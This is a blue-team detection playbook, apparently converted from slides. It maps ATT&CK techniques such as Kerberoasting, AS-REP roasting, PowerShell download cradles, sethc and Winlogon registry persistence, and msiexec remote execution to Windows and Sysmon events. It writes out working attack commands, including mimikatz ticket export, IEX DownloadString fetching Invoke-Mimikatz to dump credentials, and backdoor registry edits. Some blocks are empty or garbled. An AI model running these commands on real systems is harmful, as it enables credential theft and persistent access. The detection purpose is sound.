Summary

What you often hear:
"The attacker only needs to exploit one of the victims in order to compromise the enterprise."

What you never thought about:
"The defender only needs to detect one of the indicators of the attacker's presence in order to initiate incident response within the enterprise."

Source: https://taosecurity.blogspot.com/2009/05/defenders-dilemma-and-intruders-di-
lemma.html
• Introduction

This is my second playbook of my so-called "CTHoW" edition.

The purpose of this playbook is to help you in investigating, different TTP's that are based on the MITRE ATT&CK framework.

If you are a SOC Analyst, Cyber Threat Hunter/Intelligence, Blue Teamer, etc. Rainbow Teamer? This playbook is than for you!

Sharing is caring, so please. Share this with your colleagues and friends.

"To know your enemy, you must become your enemy."
Sun Tzu

Think like a hacker and see what they see in your vulnerabilities.
Red Trident Inc
### T1208 - Kerberoasting

<table>
<thead>
<tr>
<th>Group Name</th>
<th>BRONZE BUTLER</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>BRONZE BUTLER is a cyber-espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Credential Access / Lateral Movement</td>
</tr>
</tbody>
</table>

**NOTE:** I assume that BRONZE BUTLER were able to kerberoast a service (SPN) account and managed to leverage further by creating a forged silver ticket to remain persistence for a specific services.

**How to detect "Kerberos" events?**

- Event Viewer -> **Security**

![Event Viewer](image)
First, we have to understand what a Kerberoasting attack is at a high-level overview.

"Kerberoasting is a method used to steal service account credentials. Part of the service ticket is encrypted with the NT hash of the user. Any domain account can request Kerberos service tickets. Service tickets can be used to crack passwords offline."

What you often see in companies are service accounts in Domain Admin. One of the main reasons is because the vendor said so or it is easy to deploy it that way.

Service accounts contain a SPN value. A SPN (ServicePrincipalName) allows a service on a particular server to be associated with an account responsible for the management of the service through the Kerberos authentication.

Example

This is the SPN from the SVC_SQL. Every authenticated user on the domain is able to request the service ticket from the SVC_SQL account and can crack it offline.
**Command**

Add-Type -AssemblyName System.IdentityModel

- We have requested the service ticket from the service account.

```
PS C:\Users\BenS> klist
Current LogonId is 0x136255c
Cached Tickets: (2)
#0:
Client: BenS @ CONTOSO.COM
Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
KerBtTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 11/14/2019 4:10:05 (Local)
End Time: 11/14/2019 4:10:05 (Local)
Renew Time: 11/21/2019 5:10:05 (Local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC

#1:
Client: BenS @ CONTOSO.COM
Server: MSSQLSVC/sql2019.contoso.com:1433 @ CONTOSO.COM
KerBtTicket Encryption Type: RSA/DI RC4-HMAC(NOT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 11/14/2019 5:10:05 (Local)
End Time: 11/14/2019 5:10:05 (Local)
Renew Time: 11/21/2019 5:10:05 (Local)
Session Key Type: RSA/DI RC4-HMAC(NOT)
Cache Flags: 0
Kdc Called: DC
```

- Klist
- Event 4769 "A Kerberos service ticket was requested" will show up on the Domain Controller, security logs.

- Additional information about the service ticket that it belongs to SVC_SQL
- **Command**

  ```bash
  Kerberos::list /export
  ```

  ![Kerberos::list /export](image)

- **Now we have the service ticket of SVC_SQL**

- **An attacker could now crack the ticket offline without any detection or risk for being locked out.**
• **T1208 – Kerberoasting** -> Mitigation / Detection

• Mitigation
  • Ensure all service (SPN) accounts have at least 20-25 long password character
  • Use Group Managed Service Accounts to rotate the passwords of service accounts frequently, if possible.

Detecting **Kerberoasting** is very difficult, because an attacker could crack the tickets OFFLINE without authenticating to the Domain Controller, so no logs will be produced in the event logs.

One of the best approach is to deploy honey users in AD to trick attackers requesting a *fake* service ticket from an account that has a SPN, but the SPN is not mapped to anything.

- **An attacker has to take the following steps before he/she can kerberoast:**
  - 1. SPN Discovery
  - 2. Request Service Tickets
  - 3. Export Service Tickets
  - 4. Crack Service Tickets

Before an attacker can crack the service tickets. He or she first needs to request the service tickets, but what would happen, if we would deploy a fake honey user?

• **SVC_SQL2017** is the **honey** user

![Domain Admins Properties](image)
• A fake SPN of the **SVC_SQL2017** account

```
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\BenS> setspn -S SVC_SQL207
Registered ServicePrincipalNames for CN=SVC_SQL2017,OU=Employees,DC=contoso,DC=com:
MSSQLSVC-sql2017.contoso.com:1443
PS C:\Users\BenS> ...
```

• Now we're going to request the fake service ticket of **SVC_SQL2017**

```
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\BenS> Add-Type -AssemblyName System.IdentityModel
(contoso.com:1443)"
Id : uid-2587e16f-2019-4651-88b8-cfc45c8d03f4-1
ValidFrom : 11/14/2019 12:10:06 AM
ValidTo : 11/14/2019 12:10:06 AM
ServicePrincipalName : MSSQLSVC/sq12017.contoso.com:1443
```

• No we are going to export the Kerberos tickets
• The service ticket that has been marked as red is our fake service ticket.
• Here is the fake service ticket that has been exported from memory

This PC > Local Disk (C:) > x64

- 0-40e1000-BeNS@krbtgt~CONTOSO.COM-CONTOSO.COM.kirbi
- 1-40a10000-BeNS@MSSQLSVC~sql2017.contoso.com~1443-CONTOSO.COM.kirbi
- mimidrv.sys
- mimikatz
- mimilib.dll

• Event 4769 will show up on, when someone is requesting a service ticket. This log can be found on the DC at "Security"

• Here we are able to see that, we have requested the service ticket from the SQL_SVC207 account. This is our honey user, so if someone is requesting a service ticket from a fake service account. You're probably under attack.
• **Recommendation**
  • Create fake service accounts with fake SPN's and ensure a long password has been set on those accounts.
  • Add them to high-privileged groups with the likes of Built-in\Administrators, Account Operators, Backup Operators, etc.
  • Monitor specific on event 4769, but only filter this event, *when someone is requesting a service ticket from the honey user accounts.*
- **T1110 – Brute Force (AS-REP Roasting)**

<table>
<thead>
<tr>
<th>Group Name</th>
<th>APT3</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>APT3 has been known to brute force password hashes to be able to leverage plain text credentials.</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Credential Access</td>
</tr>
</tbody>
</table>

**NOTE:** I am not claiming that it was done through AS-REP, but it could be possible. This is more of an example.

- **How to detect "AS-REP" events?**
  - Event Viewer -> Security
First we have to understand what **AS-REP Roasting** is

"AS-REP Roasting is an attack against Kerberos for user accounts that do not require pre authentication.

During pre-authentication, a user will enter their password, which will be used to encrypt a timestamp, and then the domain controller will attempt to decrypt it and validate that the right password was used

*If pre-authentication is disabled, an attacker could request authentication data for any user and the DC would return an encrypted TGT that can be brute-forced offline.*"
• Now let's perform an AS-REP Roasting attack.

Event 4768 will show up in the Security logs.
Rubeus is the most common tool for performing an AS-REP Roasting attack. It will automatically request all the TGT's from pre-authentication not required accounts.

• I have configured three fake accounts with the "Do not require pre-authentication", so that is why there are three 4768 events.
Here is the event 4768 about the TGT that was requested from the attacker.

Here some extra information

At the **Client Address** – We are able to see from which machine the TGT was requested.
• **T1110 – Brute Force (AS-REP Roasting) -> Mitigation / Detection**

- Avoid using this insecure configuration.
- Create a few fake accounts in Active Directory and configure them with the "**Do not require Kerberos pre-authentication**"
- Ensure those fake accounts have a strong password as well.
- Add them to high-privileged group like Account Operators
- If multiple TGT are requested from those honey users, you are under attack.

- Three fake honey users

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice Ciccu</td>
<td>User</td>
</tr>
<tr>
<td>Ben Smith</td>
<td>User</td>
</tr>
<tr>
<td>Don Jones</td>
<td>User</td>
</tr>
<tr>
<td>HoneyUser</td>
<td>User</td>
</tr>
<tr>
<td>HoneyUser2</td>
<td>User</td>
</tr>
<tr>
<td>HoneyUser3</td>
<td>User</td>
</tr>
<tr>
<td>SVC_SQL</td>
<td>User</td>
</tr>
<tr>
<td>SVC_SQL2017</td>
<td>User</td>
</tr>
</tbody>
</table>

- Event logs ;-)
T1086 - PowerShell

<table>
<thead>
<tr>
<th>Name</th>
<th>Emotet</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector.</td>
</tr>
<tr>
<td>Technique</td>
<td>Emotet has used Powershell to retrieve the malicious payload and download additional resources like Mimikatz</td>
</tr>
<tr>
<td>Tactic</td>
<td>Execution</td>
</tr>
</tbody>
</table>

**How to detect PowerShell events?**

1. Event Viewer -> Application and Service Logs -> **PowerShell**
2. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> **PowerShell**
- Command

```powershell
```

After executing this command, you would find multiple events with the ID "4104" and a level warning of "3" at **Microsoft-Windows-PowerShell/Operational**
• **Microsoft-Windows-PowerShell/Operational**

![Event Viewer screenshot](image)

- Event **4104** with a level of **warning** will show up after we have executed Mimikatz and dumped the credentials from memory.

![Event properties screenshot](image)
• We know that tools such as Mimikatz require SeDebugPrivilege (Debug Programs) to perform the operation.

• Last, but not least. When you see something suspicious like this. It is likely that you are under attack.
- Command – Filtering on Windows Event 4104 with a level warning of 3 at **Microsoft-Windows-PowerShell/Operational**

```
Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-PowerShell/Operational'; Id = 4104; Level = 3 }
```
### T1086 - PowerShell

<table>
<thead>
<tr>
<th>Name</th>
<th>APT28</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. APT28 has been active since at least 2004.</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>APT28 downloads and executes PowerShell scripts.</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Execution</td>
</tr>
</tbody>
</table>

### How to detect PowerShell events?

1. Event Viewer -> Application and Service Logs -> **PowerShell**
2. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> **PowerShell**
Now in our case we are going to turn on PowerShell logging to get extra visibility.

- **Command** – Running BloodHound in an environment to find ACL paths

```powershell
```

- Enumeration of the domain completed.

```text
C:\Users\Administrator\20191118010833_BloodHound.zip
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>20191118010833_computers.json</td>
<td>JSON File</td>
</tr>
<tr>
<td>20191118010833_domains.json</td>
<td>JSON File</td>
</tr>
<tr>
<td>20191118010833_groups.json</td>
<td>JSON File</td>
</tr>
<tr>
<td>20191118010833_users.json</td>
<td>JSON File</td>
</tr>
</tbody>
</table>
- Application and Service Logs -> **Windows PowerShell**

- Event **800** "Pipeline Execution Details" will show up with additional information about, which user and the CLI.
Additional information about the current user that executed the script

```powershell
Get-WinEvent -FilterHashtable @{ LogName = 'Windows PowerShell'; Id = 800; }
```

Filtering on Event 800 at Windows PowerShell can be noisy, but to reduce down all the noise. It is good to look at additional information with the likes of `IEX(New-Object NetWebClient).DownloadString` – This more to detect to behaviour of the attacker, since at the end of the day. He or she needs to execute the script from the internet to do all that fun stuff on the workstation.

Logging PowerShell CLI is very useful in this case, but it is up to you. To enable it or not.
• Now let's look back at **Microsoft-Windows-PowerShell/Operational**
• Event **4104** with a level of "Warning" will show up again.

### Additional information

```
Creating Scriptblock test (1 of 1):
powershell.exe -exec Bypass -C "IEX(\"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Injectors/SharpHound.ps1\")Invoke-BloodHound"
```

**Log Name:** Microsoft-Windows-PowerShell/Operational  
**Source:** PowerShell (Microsoft-Windows)  
**Logged:** 11/18/2019 1:08:28 AM  
**Event ID:** 4104  
**Level:** Warning  
**Task Category:** Execute a Remote Command
- Incredible valuable information about BloodHound :P

Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)

- Event ID: 4104
- Level: Warning
- Task Category: Execute a Remote Command
- Source: PowerShell (Microsoft-Windows-PowerShell)
- Logged: 11/18/2019 1:08:32 AM
- Log Name: Microsoft-Windows-PowerShell/Operational

- Seems suspicious.
### T1086 - PowerShell

<table>
<thead>
<tr>
<th>Name</th>
<th>BRONZE BUTLER</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.</td>
</tr>
<tr>
<td>Technique</td>
<td>BRONZE BUTLER has used PowerShell for execution.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Execution</td>
</tr>
</tbody>
</table>

#### How to detect PowerShell events?

1. Event Viewer -> Application and Service Logs -> **PowerShell**
2. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> **PowerShell**

![PowerShell Event Viewer Screenshot]
**Command** – Collecting service tickets from SPN accounts to Kerberoast them

```
```
• When looking at 'Windows PowerShell' logs and filtering specific on the 800 event.

```powershell
Get-EventLog -FilterHashtable @{ LogName = 'Windows PowerShell'; Id = 800; }
```

• `IEX(New-Object.NetWebClient).DownloadString`

• Additional information about the event
• Extra information about event 800 with the leaving trace of IEX (New-Object)

![Event Properties - Event 800, PowerShell (PowerShell)](image)

Details:
- CommandInvocation(New-Object): "New-Object"
- ParameterBinding(New-Object): name="TypeName"; value="Net.WebClient"

- Like Tim Medin said in his talks. Every authenticated user has the privileges to request service tickets from service accounts. In this case, we have requested all the service tickets and are able now to crack them offline. Event **4769 at Security** will show up, when someone is requesting a service ticket.

![Event Viewer (Local)](image)
- Microsoft-Windows-PowerShell/Operational
- Event 4104 will show up usually with a level of "Warning"

Extra information about the author :P
- Extra information about the event itself.

**Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)**

<table>
<thead>
<tr>
<th>Log Name:</th>
<th>Microsoft-Windows-PowerShell/Operational</th>
<th>Source:</th>
<th>PowerShell (Microsoft-Windows-PowerShell)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Event ID:</td>
<td>4104</td>
<td>Task Category:</td>
<td>Execute a Remote Command</td>
</tr>
<tr>
<td>Level:</td>
<td>Warning</td>
<td>Keywords:</td>
<td>None</td>
</tr>
<tr>
<td>User:</td>
<td>CONTOSO\Administrator</td>
<td>Computer:</td>
<td>DC.contoso.com</td>
</tr>
</tbody>
</table>

```powershell
PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).

PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'

PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'

PARAMETER TrustedToAuth
```
### T1086 - PowerShell

<table>
<thead>
<tr>
<th>Name</th>
<th>APT29</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. This group reportedly compromised the Democratic National Committee starting in the summer of 2015.</td>
</tr>
<tr>
<td>Technique</td>
<td>APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Execution</td>
</tr>
</tbody>
</table>

**How to detect PowerShell events?**

1. Event Viewer -> Application and Service Logs -> **PowerShell**
2. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> **PowerShell**
- **Command - Encoded**

```powershell
powershell -enc SQBFAFgAIaAoAE4AZQBB3AC0ATwBi_AG0AZQBJAHQAIABOAGUA_2AAuAFCaZQBiaEMAbBPAGUAbgB0ACKAlgbEAG8AdwBuAGwAbw8hAgQAuWb0AHIaQB4uAGcAKAAiAGgAdA0AHAAcwA6AC8AlwByAGEdwAuApcAaQBOAgAdQBiAHUAcw8IAHIAYWb-vA9g4AdAIA6G4AdAAuAGMAbwBtA8AC8ARB8tAHAAaQBByAGUAUBByAG8AqBIAGMAaDA-
VAEUAbQBwAGKAcgBIAC8ANwBhADMAOQB8hADUANQBmEADEMgA3AGIAMQBh-A-GUAYgA5AUDUAMQBIADMAAZAASAGQAOAaWAGM4MNgBkAGM4NgA0AAUDAMAaAwAGM4YQBjA-
GIANQAvAGQAYQB0AEGEALwBtAG8AZAB1AGwAZQBfAHMAAbwB1AHIAYWbIAC8AY-
WByAGUAZAfAG4AdAbpAGEBaBbAC8ASQBUAHyABwBrAGUALQBNAAGkAbQBpAG-
sAYQBOAhALgBwAHMAMQAIACKAOwAgACQAaAbQbQAgAD0AABJAG4Adg8vAGsAZQA-
tAE0AaQBtAGKAwBhAHQ4aegAgAC0ARAB1AG0AcABDAHIAZQBkAHMA0wAgACQAaBQAKAA==
```

- Using Encoded PowerShell scripts can make the life harder for defenders
- No Events **4104** with a Level "**Warning**" will be generated.
• Looking at the *Windows PowerShell* logs

![Event Properties - Event 800, PowerShell (PowerShell)](image1)

*Log Name:* Windows PowerShell  
*Source:* PowerShell (PowerShell)  
*Logged:* 11/13/2019 2:45:16 AM  
*Event ID:* 800  
*Level:* Information

**Pipeline execution details for command line:**
`iEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f/27b1ae851b3d9d8060c6d6c4d000b9c5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds: $m`

**Context Information:**

- **Log Name:** Windows PowerShell  
- **Source:** PowerShell (PowerShell)  
- **Logged:** 11/13/2019 2:45:16 AM  
- **Event ID:** 800  
- **Level:** Information

• Encoded PowerShell is suspicious and should already ring bells.

![Event Properties - Event 800, PowerShell (PowerShell)](image2)
- Valuable information to filter on

Event Properties - Event 800, PowerShell (PowerShell)

General | Details
--- | ---

Details
CommandInvocation(New-Object): "New-Object"
ParameterBinding(New-Object): name="TypeName"; value="Net.WebClient"

- Looking at **Microsoft-Windows-PowerShell/Operational** logs
- We won't find any 4104 event with a level **Warning**
• A bunch of 4103 events will show up, not 4104.

• After testing and playing around for a while. I have notice some potential weird behaviour that encoded PowerShell might leave behind. I am not claiming it is immediately correct, but here you go.

  - value="System.Reflection.AssemblyName"
  - value="System.Reflection.Emit.FieldBuilder"
  - value="System.Runtime.InteropServices.HandleRef"
  - CommandInvocation(Out-Null): "Out-Null"
  - ParameterBinding(Add-Member): name="Value"; value="IMAGE_OPTIONAL_HEADER64"
I think the most interesting part to filter on is the "IMAGE_OPTIONAL_HEADER64" to reduce down the noise of PowerShell logs.

Encoded PowerShell CLI in the logs.
• **T1086 – PowerShell -> Windows Events**

• **Windows PowerShell**

<table>
<thead>
<tr>
<th>Windows Event ID</th>
<th>Description</th>
<th>Task Category</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>800</td>
<td>Pipeline execution details for command line</td>
<td>Pipeline Execution Details</td>
<td>Noisy, but useful to keep an eye on.</td>
</tr>
<tr>
<td>600</td>
<td>Provider &quot;Example&quot; is started</td>
<td>Provider Lifecycle</td>
<td>Noisy and irrelevant</td>
</tr>
<tr>
<td>400</td>
<td>Engine state is changed from None to Available</td>
<td>Engine Lifecycle</td>
<td>Noisy and irrelevant</td>
</tr>
</tbody>
</table>

• **Microsoft-Windows-PowerShell/Operational**

<table>
<thead>
<tr>
<th>Windows Event ID</th>
<th>Description</th>
<th>Task Category</th>
<th>Priority</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>4103</td>
<td>Executing Pipeline</td>
<td>Executing Pipeline</td>
<td>Noisy, but useful to keep an eye on for discovering encoded PowerShell scripts.</td>
<td>Information</td>
</tr>
<tr>
<td>4104</td>
<td>Execute a Remote Command</td>
<td>Execute a Remote Command</td>
<td>High</td>
<td>Warning</td>
</tr>
<tr>
<td>53504</td>
<td>PowerShell Named Pipe IPC</td>
<td>None</td>
<td>Information</td>
<td></td>
</tr>
<tr>
<td>8194</td>
<td>Connect</td>
<td>None</td>
<td>Verbose</td>
<td></td>
</tr>
<tr>
<td>8195</td>
<td>Connect</td>
<td>None</td>
<td>Verbose</td>
<td></td>
</tr>
<tr>
<td>12039</td>
<td>None</td>
<td>None</td>
<td>Information</td>
<td></td>
</tr>
<tr>
<td>8196</td>
<td>None</td>
<td>None</td>
<td>Information</td>
<td></td>
</tr>
<tr>
<td>32784</td>
<td>None</td>
<td>None</td>
<td>Error</td>
<td></td>
</tr>
<tr>
<td>40196</td>
<td>None</td>
<td>None</td>
<td>Information</td>
<td></td>
</tr>
<tr>
<td>4100</td>
<td>Executing Pipeline</td>
<td>None</td>
<td>Warning</td>
<td></td>
</tr>
</tbody>
</table>

• **Tip**
  - Do not just rely only on 4104 event with a level "warning" at Microsoft-Windows-PowerShell/Operational, since attackers could use an encoded script to bypass it.
  - Event 4103 is noisy, but it can provided valuable information. Do not left this one out.
• T1015 – Accessibility Features

<table>
<thead>
<tr>
<th>Group Name</th>
<th>APT3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.</td>
</tr>
<tr>
<td>Technique</td>
<td>APT3 replaces the Sticky Keys binary C:\Windows\System32\sethc.exe for persistence.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Persistence</td>
</tr>
</tbody>
</table>

• How to detect T1015 events?

1. Event Viewer -> Security
Enable "Audit Registry: Success"
Open Regedit and scroll down to the following path:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

This path is by default empty, so it is suspicious, when something is created in this path.

Command

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
• Event 4657 will show up after we have set auditing rules on that registry setting.

  ![Event Properties - Event 4657, Microsoft Windows security auditing.](image)

  - A registry value was modified.
  - Security ID: SYSTEM
  - Account Name: DCS
  - Account Domain: CONTOSO
  - Logon ID: 0x3E7

  - Event ID: 4657
  - Task Category: Registry
  - Level: Information
  - User: N/A
  - Computer: DC.contoso.com
  - OpCode: Info
  - More Information: Event Log Online Help

• Additional information about the path of the registry location.

  ![Object: Object Name: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options, sethc.exe](image)
  - Object Value Name: Debugger
  - Handle ID: 0x024
  - Operation Type: Registry value deleted

• A little bit of extra information about the Image File Execution Options, registry key.
• If we want to have extra visibility – We could use the Sysmon configuration of @SwiftOnSecurity – This is less noisy than the default config.

• https://github.com/SwiftOnSecurity/sysmon-config

Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> Sysmon
- Event 12 & 13 in Sysmon are Registry related.

### Event Properties - Event 12, Sysmon

- **Event Type:** CreateKey
- **UtcTime:** 2019-11-18 14:59:53.897
- **ProcessGuid:** 58593cb0-b1e9-5dd2-0000-00104d7e7c00
- **Image:** C:\Windows\system32\reg.exe
- **TargetObject:** HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

- **Log Name:** Microsoft-Windows-Sysmon/Operational
- **Source:** Sysmon
- **Logged:** 11/18/2019 6:59:53 AM
- **Event ID:** 12
- **Task Category:** Registry object added or deleted

### Event Properties - Event 13, Sysmon

- **Event Type:** Set Value
- **UtcTime:** 2019-11-18 14:59:53.897
- **ProcessGuid:** 58593cb0-b1e9-5dd2-0000-00104d7e7c00
- **Image:** C:\Windows\system32\reg.exe
- **TargetObject:** HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

- **Log Name:** Microsoft-Windows-Sysmon/Operational
- **Source:** Sysmon
- **Logged:** 11/18/2019 6:59:53 AM
- **Event ID:** 13
- **Task Category:** Registry value set (rule: RegistryEv)
- Event 1 "Process Create" at Sysmon will show a specific value called "OriginalFileName"
- It is recommended to look at this one and keep an eye on "reg.exe"
### T1004 – Winlogon Helper DLL

<table>
<thead>
<tr>
<th>Group Name</th>
<th>Turla</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>Turla is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware.</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>Turla established persistence by adding a Shell value under the Registry key HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Persistence</td>
</tr>
</tbody>
</table>

### How to detect T1088 events?

1. Event Viewer -> **Security**

![Event Viewer Screenshot](image.png)

The screenshot shows a Windows Event Viewer with a list of security events. The events include various audit successes with different dates and times, indicating successful attempts to perform actions such as logoff, special logon, and kerberos authentication. The source of these events is Microsoft Windows, and the event ID and task category are also visible.
• **Command - Example**

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"
```

• Before we are executing this command. First, we have to enable "Audit Registry" on success at Advanced Audit Policy.
• Second thing is to add "Everyone" to the SACL of the Registry path.
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
• Give the correct audit permission to "Everyone"

![Auditing Entry for Winlogon](image)

- Principal: Everyone  Select a principal
- Type: Success
- Applies to: This key and subkeys

- Advanced permissions:
  - Full Control
  - Query Value
  - Set Value
  - Create Subkey
  - Enumerate Subkeys
  - Notify
  - Create Link
  - Delete
  - Write DAC
  - Write Owner
  - Read Control

• Now when executing the command

```cmd
C:\Users\Administrator>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v UserInit /t REG_SZ /d "C:\ProgramFiles\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"
Value UserInit exists, overwrite(Yes/No)? Yes
The operation completed successfully.
```

• Event **4657** will show up, but since this is too much hustle. I will use Sysmon with the configuration file of @SwiftOnSecurity from now to detect Registry key changes.
Sysmon event 13 will show up
### T1218 – Signed Binary Proxy Execution

<table>
<thead>
<tr>
<th>Group Name</th>
<th>Rancor</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>Rancor is a threat group that has led targeted campaigns against the South East Asia region. Rancor uses politically-motivated lures to entice victims to open malicious documents</td>
</tr>
<tr>
<td><strong>Technique</strong></td>
<td>Rancor has used msiexec to download and execute malicious installer files over HTTP.</td>
</tr>
<tr>
<td><strong>Tactic</strong></td>
<td>Defense Evasion / Execution</td>
</tr>
</tbody>
</table>

#### How to detect T1218 events?

2. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> Sysmon

![Event Viewer screenshot](image)
- **Command**

  msiexec /q /i https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

- **Event 1 in Sysmon.**
- **OriginalFileName:** `msiexec.exe`
• Event 3 shows that a network connection will be made.

  ![Event Properties - Event 3, Sysmon](image1)

  - **Event ID**: 3
  - **Source**: System
  - **Logged**: 11/19/2019 12:48:01 AM
  - **Log Name**: Microsoft-Windows-Sysmon/Operational
  - **User**: SYSTEM
  - **Computer**: DC.contoso.com
  - **Keywords**: Network connection detected [null]

• Additional information about the destination host etc.

  ![Event Properties - Event 3, Sysmon](image2)

  - **Destination IP**: 140.82.114.4
### T1037 – Logon Scripts

<table>
<thead>
<tr>
<th>Group Name</th>
<th>APT28</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment.</td>
</tr>
<tr>
<td>Technique</td>
<td>An APT28 loader Trojan adds the Registry key <code>HKCU\Environment\UserInit\MprLogonScript</code> to establish persistence.</td>
</tr>
<tr>
<td>Tactic</td>
<td>Lateral Movement / Persistence</td>
</tr>
</tbody>
</table>

#### How to detect T1037 events?

3. Event Viewer -> Application and Service Logs -> Microsoft -> Windows -> Sysmon
• **Command – Example**

```
REG ADD HKCU\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d "C:\Windows\System32\cmd.exe"
```

```
C:\Users\Administrator>
C:\Users\Administrator>reg add "HKCU\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d "C:\Windows\System32\cmd.exe"
The operation completed successfully.
```
- Event 12 & 13 will show up as usually

Event Properties - Event 12, Sysmon

- Event 13
### Registry Keys – Windows Events

<table>
<thead>
<tr>
<th>Windows Event ID</th>
<th>Description</th>
<th>Task Category</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>4657</td>
<td>A registry value was modified</td>
<td>Registry</td>
<td>Set auditing rules on specific Registry keys you want to monitor</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Symon Event ID</th>
<th>Description</th>
<th>Task Category</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
